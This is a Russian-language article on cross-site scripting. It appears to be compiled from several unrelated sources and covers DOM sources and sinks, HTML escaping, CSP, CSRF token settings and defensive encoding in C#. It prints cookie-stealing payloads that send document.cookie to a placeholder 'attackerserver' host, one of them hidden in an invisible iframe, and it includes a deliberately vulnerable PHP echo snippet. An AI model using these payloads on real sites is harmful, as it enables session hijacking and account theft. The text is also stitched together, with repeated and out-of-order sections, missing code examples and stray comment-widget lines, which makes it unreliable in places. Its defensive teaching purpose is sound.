Фундаментальная уязвимость html при встраивании скриптов
Содержание:
- Input & Output так называемый Источник & Приемник
- Исправление DOM Cross-site Scripting
- Защита от межсайтового скриптинга
- Ограничения шифрования
- Принцип действия атак, основанных на межсайтовом скриптинге
- XSS-атаки и уязвимости на основе DOM
- Связанные уязвимости
- Способы защиты от XSS уязвимостей при разработке
- Всегда экранируйте HTML-атрибуты до внедрения данных в их контекст
- Виды XSS
- Политика защиты контента
- О реализации
- Где нужно безопасно обрабатывать входящую информацию
- Шифрование
- Принцип работы межсайтового скриптинга
Input & Output так называемый Источник & Приемник
Логика, лежащая в основе DOM XSS, заключается в том, что ввод от пользователя (источника) направляется в точку выполнения (приемник). В предыдущем примере нашим источником был document.baseURI, а приемником был document.write.
Однако вам нужно понять, что DOM XSS появится, когда источник, которым может управлять пользователь, будет использоваться в опасном приемнике.
Поэтому, когда вы видите это, вам нужно либо внести необходимые изменения в код, чтобы избежать уязвимости для DOM XSS, либо добавить кодировку соответствующим образом.
Ниже приведен список источников и приемников, которые обычно предназначены для атак DOM XSS
Обратите внимание, что это не полный список, но вы можете определить шаблон, все, что может контролироваться злоумышленником в источнике, и все, что может привести к выполнению сценария в приемнике
Популярные приемники
- HTML модифицированные приемники
- document.write
- (element).innerHTML
- HTML модифицированные для изменения поведения
- Приемники связанные с выполнением кода
- eval
- setTimout / setInterval
- execScript
Исправление DOM Cross-site Scripting
Лучший способ исправить межсайтовый скриптинг на основе DOM и повысить безопасность веб-приложений — это использовать правильный метод вывода (приемник). Например, если вы хотите использовать пользовательский input для записи в элемент <div>, не используйте innerHtml, вместо этого используйте innerText/textContent. Это решит проблему, и это правильный путь для устранения уязвимостей XSS на основе DOM.
Всегда плохая идея использовать контролируемый пользователем input в опасных источниках, таких как eval. В 99% случаев это признак плохой или ленивой практики программирования, поэтому просто не делайте этого вместо того, чтобы пытаться дезинфицировать входные данные.
Наконец, чтобы исправить проблему в нашем исходном коде, вместо того, чтобы пытаться правильно кодировать выходные данные, что создает трудности и может легко ошибиться, мы просто использовали бы element.textContent, чтобы записать его в такой контент:
Он делает то же самое, но на этот раз он не уязвим к уязвимостям cross-site scripting, основанным на DOM.
Защита от межсайтового скриптинга
Защититься от XSS возможно, но защита должна применяться последовательно, без исключений и упрощений, желательно с самого начала разработки веб-приложения, пока у всех в памяти свежи воспоминания о рабочем процессе. Внедрение защиты на более поздних этапах может быть дорогостоящим делом.
Проверка входных данных
Проверка ввода — только первая линия защиты веб-приложения. При таком типе защиты мы знаем лишь то, как сейчас используются ненадёжные данные, и на этапе получения данных не можем предсказать, где и как они будут дальше применяться. Сюда относятся практически все текстовые данные, так как мы всегда должны обеспечивать пользователю возможность написания кавычек, угловых скобок и других символов.
Проверка работает лучше всего благодаря предотвращению XSS-атак на данные, которым присущи предельные значения. Допустим, целое число не должно содержать специфические для HTML символы. Параметры, такие как название страны, должны соответствовать заранее заданному списку реальных стран, и т. д.
Проверка входных данных помогает контролировать данные с определённым синтаксисом. Например, допустимый URL-адрес должен начинаться с префикса http:// или https://, а не с гораздо более опасных конструкций javascript: или data:. По сути, все адреса, полученные из непроверенных входных данных, должны проверяться на наличие этих тегов. Экранирование URI javascript: или data: имеет такой же эффект, как экранирование легального URL-адреса. То есть вообще никакого эффекта.
Хотя проверка входных данных не может блокировать всю зловредную полезную нагрузку при XSS-атаке, она способна остановить наиболее очевидные типы атаки. Проверка входных данных подробно рассматривалась во второй части книги.
Экранирование (а также кодирование)
Экранирование данных на выходе позволяет гарантировать, что данные не будут ошибочно восприняты принимающим парсером или интерпретатором. Очевидные примеры — знаки «меньше» и «больше», которые обозначают HTML-теги. Если позволить этим символам быть вставленными из ненадёжных входных данные, злоумышленник сможет вводить новые теги, которые браузер будет отрисовывать. Обычно эти символы заменяются последовательностями > и $lt;.
Замена символов предполагает сохранение смысла экранированных данных. Экранирование просто заменяет символы, имеющие определённое значение, альтернативными. Обычно используется шестнадцатеричное представление или что-то более читабельное, например HTML-последовательности (если их применение безопасно).
Как упоминалось в главе о контекстах, способ экранирования зависит от того, какого типа содержимое внедряется. Экранирование HTML-кода отличается от экранирования JavaScript, которое, в свою очередь, отличается от экранирования адресов. Применение неверной экранирующей стратегии для определённого контекста способно привести к неэффективности защиты, к созданию уязвимости, которой может воспользоваться злоумышленник.
Для облегчения экранирования рекомендуется применять отдельный класс, разработанный с этой целью. PHP не может предоставить все необходимые экранирующие функции из коробки, а многое из предлагаемого не так безопасно, как считает большинство разработчиков.
Давайте рассмотрим правила экранирования, применяемые к наиболее распространённым контекстам: телу HTML, атрибутам HTML, JavaScript, URL и CSS.
Никогда не вводите данные, за исключением ввода из доверенных мест
Прежде чем изучать стратегии экранирования, необходимо убедиться, что шаблоны вашего веб-приложения не теряют (misplace) данные. Это относится к внедрению данных в чувствительные области HTML, которые дают злоумышленнику возможность влиять на порядок обработки разметки и которые обычно не требуют экранирования при использовании программистом. Рассмотрим примеры, где — это внедряемые данные:
Каждое из вышеперечисленных мест опасно. Разрешение данных в теге script, вне строковых и числовых литералов, позволяет при атаке внедрить JavaScript. Данные, помещённые в HTML-комментарии, могут быть использованы для запуска условных выражений (conditionals) Internet Explorer и для других непредвиденных действий. Следующие два места более очевидны, так как никто не позволил бы злоумышленнику влиять на свои теги или названия атрибутов — мы как раз пытаемся это предотвратить! Наконец, как и в случае со скриптами, мы не можем позволить злоумышленникам внедряться непосредственно в CSS, так как это даст возможность проводить атаки подмены интерфейса и выполнять скрипты, используя поддерживаемую в Internet Explorer функцию expression().
Ограничения шифрования
В некоторых контекстах ввод вредоносных строк возможен даже при наличии шифрования. Яркий пример: пользовательский ввод используется для создания URL, как в примере ниже:
document.querySelector('a').href = userInput
Присвоение значения свойству опорного элемента href автоматически шифрует его, и оно становится просто значением атрибута, но само по себе это не мешает злоумышленнику вставить URL, начинающийся с «javascript:». При нажатии на такую ссылку будет выполнен JavaScript, встроенный в URL.
Шифрование также не подходит как решение, если вы хотите, чтобы пользователь на самом деле управлял частью кода страницы. Например, это страница пользовательского профиля, где пользователь самостоятельно настраивает HTML. Если этот кастомный HTML зашифровать, то страница будет содержать только чистый текст.
В таких ситуациях шифрование должно дополняться валидацией, о которой мы поговорим в следующий раз.
View the discussion thread.
blog comments powered by DISQUS
Принцип действия атак, основанных на межсайтовом скриптинге
Код эксплоита для атак на основе межсайтового скриптинга обычно (но не всегда) разрабатывается с использованием HTML/JavaScript для исполнения в браузере жертвы атаки. Сервер используется только для хранения вредоносного кода. Взломщик использует только надежные веб-сайты в качестве площадок для проведения атаки.
Типичные атаки на основе межсайтового скриптинга являются результатом недоработок в веб-приложениях на стороне сервера и заключаются в недостаточной обработке введенных пользователем данных в плане удаления управляющих символов HTML. Если взломщикам удастся вставить произвольный HTML-код, они могут контролировать процесс исполнения страницы с правами, заданными для сайта. Часто встречающимися местами, предоставляющими взломщикам возможность для проведения атак являются страницы с «подтверждением» или «выводом результатов» (примером являются поисковые машины, выводящие пользовательский запрос) или страницы ошибок для форм, помогающие пользователям, заполняя поля формы корректно введенными данными.
Следующая простейшая PHP-страница уязвима для XSS-атак!
<?php echo "Hello, {$HTTP_GET_VARS}!"; ?>
Как только осуществляется доступ на страницу, содержащую этот код, переменная, переданная при помощи метода GET (строки запроса) без изменений выводится на страницу, генерируемую при помощи PHP. Если вы передадите корректные данные (например, строку «Arpit Bajpai») в качестве аргумента, URL будет выглядеть следующим образом: (с учетом того, что вы используете сервер, установленный на вашем компьютере, что стоит сделать для тестирования этих примеров). Вывод этого запроса безопасен и показан на Рисунке 1.
Рисунок 1: Безопасная передача данных
Теперь проведем небольшое вмешательство в URL, изменив его следующим образом: .
Результат показан на Рисунке 2. Он все еще кажется безвредным, но тот факт, что вводимые данные не проверяются PHP-сценарием перед отправкой их браузеру пользователя говорит о том, что есть возможность осуществить вставку более опасного кода в состав уязвимой страницы.
Рисунок 2: Необработанный вывод
Как и в большинстве случаев, главной целью XSS-атаки является похищение кук с идентификационными данными пользователей. Ниже показан классический пример попытки организации атаки путем размещения вредоносного JavaScript-кода в системе онлайн-сообщений и сбора данных из пользовательских кук.
<script>document.location="http://attackerserver/cookie.php?c="+document.cookie</script>
В ходе работы этого сценария в файле сохраняются данные, включающие в себя IP-адрес жертвы, дату и время получения данных из кук и адрес страницы, с которой был осуществлен переход по вредоносной ссылке, указывающей на сценарий .
Воспользовавшись этой информацией, взломщик впоследствии может перейти на сайт системы онлайн-собщений и использовать полученные данные из кук, что позволит ему представиться пользователем, ставшим жертвой атаки.
На данном этапе сообразительные пользователи могут отнестись с подозрением к переходу на домашнюю страницу или заподозрить неладное, основываясь на том, что данный переход не свойственен для корректной работы веб-приложения. Для атак в отношении таких пользователей взломщики в большинстве случаев предпочитают использовать в сценариях тэг IFRAME аналогичным показанному ниже способом:
<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location= «http://attackerserver/cookie.php?c=»+document.cookie)></iframe>
XSS-атаки и уязвимости на основе DOM
XSS-атаки на основе DOM выполняются путем изменения среды DOM, которая отображается в браузере пользователя при посещении определенной веб-страницы. По сути, когда пользователь посещает веб-страницу, браузер интерпретирует код таким образом, чтобы визуализировать то, что он хочет. То есть изображения, текст, видео, аудио и многое другое. Однако этот опасный вариант XSS-атаки может изменить то, что пользователь видит в браузере. Это делает это таким образом, что приводит к повреждению, например, к установке вредоносных программ, различных типов вирусов, скрипты которые потребляют ресурсы вашего компьютера, добывая криптовалюту, и многое другое.
Мы собираемся использовать пример, которым поделились OWASP чтобы проиллюстрировать, как эта атака приводится в действие. Предположим, вы хотите посетить следующую веб-страницу, которая позволяет вам в форме выбрать предпочтительный язык:
URL-адрес, то есть ссылка исходной страницы, выглядит следующим образом:
Киберпреступник может легко изменить указанный URL, и это выглядит так:
Как мы видим, второй URL отличается от первого следующим:
Вместо того, чтобы сказать » Французский «, Киберпреступнику удается изменить URL так, чтобы» document.cookie ”Отображается в браузере пользователя, что может быть любым вредоносным кодом.
В этом случае возможна XSS-атака на основе DOM, поскольку исходный код Javascript веб-страницы не принимает код HTML. Следовательно, браузер напрямую интерпретирует то, что указывает URL-адрес страницы. Последнее, независимо от того, является ли скрипт, на который ссылается URL, вредоносным. К сожалению, пользователю довольно сложно это контролировать. Однако позже мы дадим совет, как защититься от этого вида атак.
Что такое XSS?
Стоит обновить концепцию атак с использованием XSS-инъекций. Акроним расшифровывается как Cross (X) Site Scripting. Он состоит из действий вредоносных сценариев, которые внедряются в веб-сайты и приложения, которые, в принципе, преследуют законные или благоприятные цели. Как они вообще возникают? Киберпреступник захватывает сайт или веб-приложение, особенно на интерфейсных , и различными способами вставляется вредоносный код. К сожалению, это обычная ситуация, когда веб-сайты и приложения не имеют строгого контроля над тем, что выполняется на стороне конечного пользователя или что пользователь может вставлять, особенно через веб-формы. ,
Помимо XSS-атак на основе DOM, которые мы описали в этой заметке, существуют другие варианты, которые не менее или более опасны, чем этот. Сохраненный XSS и отраженный XSS следует упомянуть , это атаки, которые в большей степени направлены на нарушение безопасности и целостности веб-сервера.
Связанные уязвимости
В атаке универсального межсайтового скриптинга ( UXSS или Universal XSS ) используются уязвимости в самом браузере или в плагинах браузера (а не в уязвимостях других веб-сайтов, как в случае с XSS-атаками).
С XSS связаны несколько классов уязвимостей или техник атак: межзональный сценарий использует концепции «зон» в определенных браузерах и обычно выполняет код с более высокими привилегиями. Внедрение HTTP-заголовка может использоваться для создания условий межсайтового сценария из-за проблем с выходом на уровень протокола HTTP (в дополнение к разрешению атак, таких как разделение HTTP-ответа ).
Подделка межсайтовых запросов (CSRF / XSRF) почти противоположна XSS, поскольку вместо того, чтобы использовать доверие пользователя к сайту, злоумышленник (и его вредоносная страница) использует доверие сайта к клиентскому программному обеспечению, отправляя запросы, которые сайт считает, что представляет собой сознательные и преднамеренные действия аутентифицированных пользователей. Уязвимости XSS (даже в других приложениях, работающих в том же домене) позволяют злоумышленникам обойти усилия по предотвращению CSRF.
использует преимущества сторонних клиентов, восприимчивых к атакам XSS или Open Redirect. Обычные попытки фишинга легко обнаружить, потому что URL-адрес вредоносной страницы обычно на пару букв отличается от URL-адреса реального сайта. Отличие от скрытого перенаправления заключается в том, что злоумышленник может использовать реальный веб-сайт, повредив его с помощью вредоносного всплывающего диалогового окна входа в систему.
Наконец, SQL-инъекция использует уязвимость на уровне базы данных приложения. Если вводимые пользователем данные неправильно отфильтрованы, приложение может выполнять любые операторы SQL.
Конкретные XSS, которые влияют на данную версию веб-браузера, как правило, уникальны. Следовательно, можно использовать XSS для определения производителя браузера и версии пользователя.
Способы защиты от XSS уязвимостей при разработке
Так как я являюсь C# разработчиком, то способы защиты от XSS будут рассмотрены для языка C#. Однако это никак не повлияет на информативность, потому что варианты защиты, описанные ниже, подойдут для практически любого языка программирования.
Первый вариант защиты от XSS уязвимостей при разработке – это использование возможностей веб-фреймворка. Например, в C# фреймворке ASP.NET можно в файлах .cshtml и .razor смешивать HTML разметку и C# код:
В этом файле на странице отображается результат C# выражения Model.RequestId. Чтобы данный тип файла скомпилировался, C# выражение или блок C# кода должен начинаться с символа ‘@’. Однако этот символ не только позволяет использовать C# вместе с HTML разметкой в одном файле, но и указывает ASP.NET, что если блок кода или выражение возвращают значение, то перед его отображением на странице необходимо в значении кодировать символы HTML в HTML-сущности. HTML-сущности — это части текста («строки»), которые начинаются с символа амперсанда (&) и заканчиваются точкой с запятой (;). Сущности чаще всего используются для представления специальных символов (которые могут быть восприняты как часть HTML-кода) или невидимых символов (таких как неразрывный пробел). Таким образом ASP.NET защищает разработчиков от XSS атак.
Однако особое внимание стоит уделить файлам с расширением .aspx в ASP.NET (более старая версия файлов HTML страниц с поддержкой C# кода). Этот тип файлов не кодирует автоматически результаты C# выражений
Для кодирования HTML символов в C# выражениях в этом типе файлов необходимо помещать C# код в блок кода . Например:
Вторым вариантом является кодирование HTML символов в HTML-сущности перед отображением данных на веб-странице «вручную», то есть с использованием специальных функций-кодировщиков. В C# для этого имеются специальные методы:
- System.Web.HttpUtility.HtmlEncode(string);
- System.Net.WebUtility.HtmlEncode(string);
- System.Web.Security.AntiXss.HtmlEncode(string);
- System.Text.Encodings.Web.HtmlEncoder.Default.Encode(string).
В результате кодирования HTML символов вредоносный код не выполняется браузером, а просто отображается в виде текста на веб-странице, причем закодированные символы отображаются корректно.
Давайте я продемонстрирую данный способ защиты на примере XSS атаки, проведённой ранее. Вот только одна проблема: в JavaScript я не нашёл функции, которая кодирует HTML символы в HTML-сущности. Зато я нашёл в интернете способ, как быстро и легко написать такую функцию:
При написании этой функции была использована особенность свойства Element.innerHTML. Используем эту функцию на HTML странице из примера XSS атаки:
Здесь мы кодируем значение xss параметра при помощи функции htmlEncode перед отображением на странице.
Теперь откроем эту страницу, передав в параметре xss строку <script>alert(«You’ve been hacked! This is an XSS attack!»)</script>:
Как видите, при кодировании строки со скриптом браузер просто отображает эту строку на странице, а не выполняет скрипт.
Третий вариант защиты – это валидация данных, полученных от пользователя или какого-то другого внешнего источника (HTML запрос, база данных, файл и т.п.). Для этого типа защиты хорошо подходят регулярные выражения. Их можно использовать для отлова данных, содержащих опасные символы или конструкции. При обнаружении подобных данных валидатором приложение просто должно выдать пользователю сообщение об опасных данных и не отправлять их далее на обработку.
Всегда экранируйте HTML-атрибуты до внедрения данных в их контекст
Контекст HTML-атрибута ссылается на все значения элемента, за исключением свойств, которые интерпретируются браузером как CDATA. Это исключение довольно запутанное, но в основном оно относится к HTML-стандартам, основанным не на XML, где JavaScript может включаться в атрибуты события в неэкранированном виде. Для всех других атрибутов у вас есть следующие два варианта:
- Если значение атрибута в кавычках, то вы МОЖЕТЕ использовать экранирование HTML.
- Однако если значение задаётся без кавычек, то вы ДОЛЖНЫ использовать экранирование HTML-атрибутов.
Также второй вариант применяется, когда правила приведения атрибутов могут быть неясными. Например, в HTML5 считается вполне допустимым использовать значения атрибутов без кавычек, и в реальных проектах уже встречается много примеров такого «умного» подхода
В любой непонятной ситуации действуйте с осторожностью
Виды XSS
Самое главное, что нужно понимать про виды XSS то, что они бывают:
- Хранимые (Постоянные)
- Отражённые (Непостоянные)
Пример постоянных:
- Введённое злоумышленником специально сформированное сообщение в гостевую книгу (комментарий, сообщение форума, профиль) которое сохраняется на сервере, загружается с сервера каждый раз, когда пользователи запрашивают отображение этой страницы.
- Злоумышленник получил доступ к данным сервера, например, через SQL инъекцию, и внедрил в выдаваемые пользователю данные злонамеренный JavaScript код (с ки-логерами или с BeEF).
Пример непостоянных:
На сайте присутствует поиск, который вместе с результатами поиска показывает что-то вроде «Вы искали: », при этом данные не фильтруются должным образом. Поскольку такая страница отображается только для того, у кого есть ссылка на неё, то пока злоумышленник не отправит ссылку другим пользователям сайта, атака не сработает. Вместо отправки ссылки жертве, можно использовать размещение злонамеренного скрипта на нейтральном сайте, который посещает жертва.
Ещё выделяют (некоторые в качестве разновидности непостоянных XSS уязвимостей, некоторые говорят, что этот вид может быть и разновидностью постоянной XSS):
DOM-модели
Политика защиты контента
Ключевой элемент всех наших разговоров о межсайтовом скриптинге — то, что браузер без вопросов выполняет весь JavaScript-код, который получает от сервера, независимо от источника внедрения кода. При получении HTML-документа браузер не может узнать, какие из вложенных ресурсов безопасны, а какие нет. А если бы мы могли это изменить?
Политика защиты контента (CSP) — это HTTP-заголовок, передающий белый список надёжных источников ресурсов, которым браузер может доверять. Любой источник, не указанный в списке разрешённых, причисляется к ненадёжным и просто игнорируется. Рассмотрим следующее:
Этот заголовок CSP сообщает браузеру, что нужно доверять только тем адресам источника JavaScript, которые указывают на текущий домен. После браузер будет загружать скрипты из этого источника, но полностью игнорировать все остальные. Это означает, что http://attacker.com/naughty.js не загрузится, если злоумышленник каким-то образом сумеет его внедрить. Кроме того, все встроенные скрипты, например теги
Если нужно использовать JavaScript из другого источника, помимо исходного адреса, то мы можем включить его в белый список. Например, давайте добавим адрес CDN jQuery.
Можно добавить другие директивы ресурсов, например путь к таблице CSS-стилей, разделив точкой с запятой директивы и разрешённые адреса.
Формат значения заголовка очень прост. Значение состоит из директивы script-src, после которой идёт список разделённых пробелами источников, применяемый в качестве белого списка. Источником может быть ключевое слово в кавычках, такое как ‘self’, или URL. Значение URL-адреса сопоставляется с полученным списком. Информация, отсутствующая в URL, может быть свободно изменена в документе HTML. Указание http://code.jquery.com предотвращает загрузку скриптов с http://jquery.com или http://domainx.jquery.com, потому что мы явным образом задали разрешённые домены. Чтобы разрешить все поддомены, можно указать просто http://jquery.com. То же самое относится и к локальным путям, портам, URL-схемам и т. д.
Суть белого списка CSP проста. Если вы создадите список ресурсов конкретного вида, то всё, что в него не войдёт, не загрузится. Если вы не определите список для типа ресурсов, то браузер по умолчанию отбрасывает все ресурсы этого типа.
Поддерживаются следующие директивы ресурсов:
- connect-src: ограничивает источники, к которым можно подключиться с помощью xmlhttprequest, веб-сокетов и т. д.
- font-src: ограничивает источники для веб-шрифтов.
- frame-src: ограничивает URL-адреса для фреймов.
- img-src: ограничивает источники изображений.
- media-src: ограничивает источники видео и аудио.
- object-src: ограничивает источники для Flash и других плагинов.
- script-src: ограничивает источники для файлов скриптов.
- style-src: ограничивает источники для CSS.
Для задания безопасных стандартных параметров существует специальная директива default-src, с помощью которой можно изначально добавить в белый список ссылки для всех перечисленных категорий.
Это позволит ограничить разрешённые ресурсы текущим доменом, но при этом также добавить исключение для скрипта jQuery. Такое использование сразу закрывает все ненадёжные источники и позволяет разрешать только те, которые считаются заведомо безопасными.
Кроме URL, разрешённым источникам можно назначить следующие ключевые слова, которые должны быть записаны в одинарных кавычках:
Вы заметили слово unsafe, т. е. «небезопасно»? Лучший способ применения CSP — не выбирать подходы, которые выбирают злоумышленники. Они хотят внедрять inline-скрипты или другие ресурсы? Если мы сами избежим inline-применения, то наши веб-приложения могут приказать браузерам игнорировать всё inline-содержимое без исключения. Будем использовать внешние файлы скриптов и функции addEventListener() вместо атрибутов событий. Но раз вы придумываете для себя правило, то не обойтись и без нескольких полезных исключений, не так ли? Не так. Забудьте о любых исключениях. Включение параметра ‘unsafe-inline’ противоречит самой цели применения CSP.
Ключевое слово ‘none’ означает именно «ничего». Если установить его в качестве источника ресурса, то параметр заставит браузер игнорировать все ресурсы указанного типа. Это добавит вам мелких проблем, но я советую сделать что-то наподобие следующего примера, чтобы белый список вашего CSP всегда ограничивался только тем, что он разрешает явно:
И последнее предостережение. Поскольку CSP — новое решение, вам потребуется дублировать заголовок X-Content-Security-Policy, чтобы убедиться, что его поймут и WebKit-браузеры, такие как Safari и Chrome. Подарок от WebKit для вас.
О реализации
Давайте генерировать новый токен на каждый запрос, не важно, каким HTTP-методом и с какой целью этот запрос сделан.
Таким образом мы получаем токен, который меняется постоянно.
Конечно, возникает вопрос организации multi-tab работы.
Синхронизация токенов между табами может быть реализована с использованием localStorage и его StorageEvent
Ограничиваем время жизни cookie, которое содержит токен, разумным значением. Например 30 минут.
Делаем cookie недоступной из JS (ставим HTTPOnly=true)
Используем TLS для предотвращения MITM
При этом отправляем cookie только по HTTPS (ставим Secure=true)
Размер токена не менее 32 байт.
Генерируем токен криптографически стойким генератором псевдослучайных чисел.
Для этого можно использовать системные функции:
Где нужно безопасно обрабатывать входящую информацию
В большинстве современных веб-приложений пользовательский ввод обрабатывается как серверным, так и клиентским кодом. Чтобы защититься от всех типов XSS, безопасная обработка ввода должна проводиться и на серверной, и на клиентской стороне.
- Чтобы защититься от традиционных XSS, нужно безопасно обрабатывать ввод на стороне кода сервера. Это делается путем языка, поддерживаемого сервером.
- Чтобы защититься от XSS на основе DOM, когда сервер не получает вредоносную строку (к примеру, это обсуждавшаяся ранее атака через идентификатор фрагмента), нужно безопасно обрабатывать ввод на стороне кода клиента. Это делается через JavaScript.
Теперь, когда мы пояснили, почему так важны контекст, разница между обработкой на входе и на выходе, и безопасность обработки информации на стороне и сервера, и клиента, перейдем к объяснению, как на самом деле работают два типа безопасной обработки информации (шифрование и валидация).
Шифрование
Шифрование – это способ экранирования пользовательского ввода: браузер интерпретирует его только как данные, а не как код. Наиболее распространенный тип шифрования в веб-разработке – это HTML-экранирование, трансформирующее символы вроде < и > в < и > соответственно.
Псевдокод ниже – это пример того, как пользовательский ввод может быть закодирован с использованием HTML-экранирования, а затем вставлен на страницу серверным скриптом:
print "<html>"print "Latest comment: "print encodeHtml(userInput)print "</html>"Если пользовательский ввод – это строка <script>...</script>, HTML в результате будет таким:<html>Latest comment:<script>...</script></html>Так как все символы особого назначения были экранированы, браузер не воспримет такой ввод, как HTML.
Принцип работы межсайтового скриптинга
Ключевая цель XSS — украсть куки пользователя с помощью встроенного на сервер скрипта. После получения этих данных злоумышленник проводит их выборку, сортировку, а затем использует для дальнейших атак и взломов с применением уже другого программного обеспечения и подходов. При этом, атака выполняется не напрямую, а через «дыры» (уязвимости) сайта, на который заходят пользователи-жертвы. При этом, атакованный сайт становится по сути невольным соучастником преступления.
XSS-атаки безопасны для сервера, где располагается сайт, но несут угрозу непосредственно посетителям этого сайта. Но случается и такое, что злоумышленнику удается украсть данные администратора зараженного ресурса и, как следствие, он получает полный доступ к админке и содержимому сайта. Кроме того, если поисковые системы обнаружат на сайте вредоносный код, этому проекту 100% грозит пессимизация.